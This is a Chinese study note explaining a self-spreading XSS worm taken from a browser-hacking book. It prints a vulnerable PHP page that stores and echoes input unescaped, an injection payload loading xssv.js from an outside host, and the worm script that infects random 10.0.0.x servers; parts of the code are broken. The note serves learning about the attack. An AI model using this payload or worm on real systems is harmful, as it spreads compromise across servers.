跨站(XSS)脚本病毒详解
导言:写这篇笔记的起因是看《黑客攻防技术宝典 浏览器实战》中提到了该XSS病毒脚本,但是书中对于病毒的传播细节以及原理没有进行详细的讲解,所以度娘了一下,才知道这个病毒的特点在于内网服务器之间的互相传染,感觉杀伤力比较鸡肋,但是确实传播性很强(个人感觉,,,也有可能是我没有看明白)。为了防止以后忘记了,所以写下了这篇笔记。
因为本人现在也是安全菜鸡阶段,部分笔记内容是个人理解,可能存在不正确的地方,欢迎各位大佬批评指正。
Web应用程序:index.php
<?php
p = HTTP_GET_VARS['param'];
$filename = "./file.txt";
# 如果传递的参数param不为空,将param的值写入到根目录下的file.txt文件中
if($p!=""){
handle = fopen(filename,"wb");
fputs(handle, p);
fclose($handle);
}
handle = fopen(filename,"r");
contents = fread(handle, filesize($filename));
fclose($handle);
# 打印param的值到网页中
print $contents;
?>
此网页的index.php托管于多个虚拟服务器在10.0.0.0/24子网中,也就是说从10.0.0.2-10.0.0.254存在多台虚拟服务器,虚拟服务器中存在index.php,所以感染的都是服务器。
之后攻击者构造了如下param参数以攻击上述网页代码,为了化简注入语句,将主要攻击函数写入了xssv.js文件中。
注入语句如下:
<iframe name = "iframe2" id="iframe2" src="hidden" style="dispaly:none"></iframe><script src="http://<webserver>/xssv.js"></script>
在Javascript文件中的内容如下,它自我繁殖的方式是通过setInterval()函数定期调用do_requesr()函数,目标网站的IP地址是随机挑选的10.0.0.0/24子网服务器。
# xssv.js
function loadIframe(iframeName, url){
if(window.frames[iframeName]){
window.frames[iframeName].location = url;
return false;
}
else
return true;
}
function do_request(){
var ip = get_random_ip();
var exploit_string = '<iframe name = "iframe2" id="iframe2"'+'src="hidden" style="display:none"></iframe>'+'<script src="http://webserver>/xssv.js"></script>';
loadIframe("iframe2","http://"+ip+"/index.php?param="+exploit_string);
}
function get_random(){
var ranNum = Math.round(Math.random()*255);
return ranNum;
}
function get_random_ip(){
return "10.0.0"+get_random();
}
setInterval("do_request()",10000);
论证过程:
假设服务器10.0.0.1和10.0.0.2服务器上都存在index.php页面,现在客户端10.0.0.23访问了10.0.0.1的该页面,构造了如下输入:
http://10.0.0.1/index.php?param='<iframe name = "iframe2" id="iframe2" src="hidden" style="dispaly:none"></iframe><script src="http://<webserver>/xssv.js"></script>'
10.0.0.1的index.php页面执行如下代码:
<?php
p = '<iframe name = "iframe2" id="iframe2" src="hidden" style="dispaly:none"></iframe><script src="http://<webserver>/xssv.js"></script>'
$filename = "./file.txt";
# 如果传递的参数param不为空,将param的值写入到根目录下的file.txt文件中
handle = fopen(filename,"wb");
fputs(handle, p);
fclose($handle);
handle = fopen(filename,"r");
contents = fread(handle, filesize($filename));
fclose($handle);
print $contents;
?>
所以执行该页面的结果就是在该页面打印了:
<iframe name = "iframe2" id="iframe2" src="hidden" style="dispaly:none"></iframe>
<script src="http://<webserver>/xssv.js"></script>
所以该页面会执行加载http:///xssv.js中的内容:
# xssv.js
function loadIframe(iframeName, url){
if(window.frames[iframeName]){
window.frames[iframeName].location = url;
return false;
}
else
return true;
}
function do_request(){
var ip = get_random_ip();
var exploit_string = '<iframe name = "iframe2" id="iframe2"'+'src="hidden" style="display:none"></iframe>'+'<script src="http://webserver>/xssv.js"></script>';
loadIframe("iframe2","http://"+ip+"/index.php?param="+exploit_string);
}
function get_random(){
var ranNum = Math.round(Math.random()*255);
return ranNum;
}
function get_random_ip(){
return "10.0.0"+get_random();
}
setInterval("do_request()",10000);
所以此时http://10.0.0.1/index.php页面的内容等价于:
<iframe name = "iframe2" id="iframe2" src="hidden" style="dispaly:none"></iframe>
function loadIframe(iframeName, url){
if(window.frames[iframeName]){
window.frames[iframeName].location = url;
return false;
}
else
return true;
}
function do_request(){
var ip = get_random_ip();
var exploit_string = '<iframe name = "iframe2" id="iframe2"'+'src="hidden" style="display:none"></iframe>'+'<script src="http://webserver>/xssv.js"></script>';
loadIframe("iframe2","http://"+ip+"/index.php?param="+exploit_string);
}
function get_random(){
var ranNum = Math.round(Math.random()*255);
return ranNum;
}
function get_random_ip(){
return "10.0.0"+get_random();
}
setInterval("do_request()",10000);
假设生成的随机IP为10.0.0.2,所以该页面的执行结果为:
<iframe name = "iframe2" id="iframe2" src="http://10.0.0.2/index.php?param='<iframe name = iframe2" id="iframe2" src="hidden" style="display:none"></iframe> <script src="http://webserver>/xssv.js"> </script>'" style="dispaly:none"></iframe>
所以该页面又会自动的去构造恶意输入去感染10.0.0.2所对应的网页,所以后面的感染相当于自动构造恶意输入替代人为构造恶意输入去感染。但是这种XSS病毒所影响的只是其所在的服务器。
所以这个./file.txt文件应该是存在了服务器端吧…
参考:
【1】https://my.oschina.net/u/4592855/blog/4417444
【2】黑客攻防技术宝典 浏览器实战篇 P30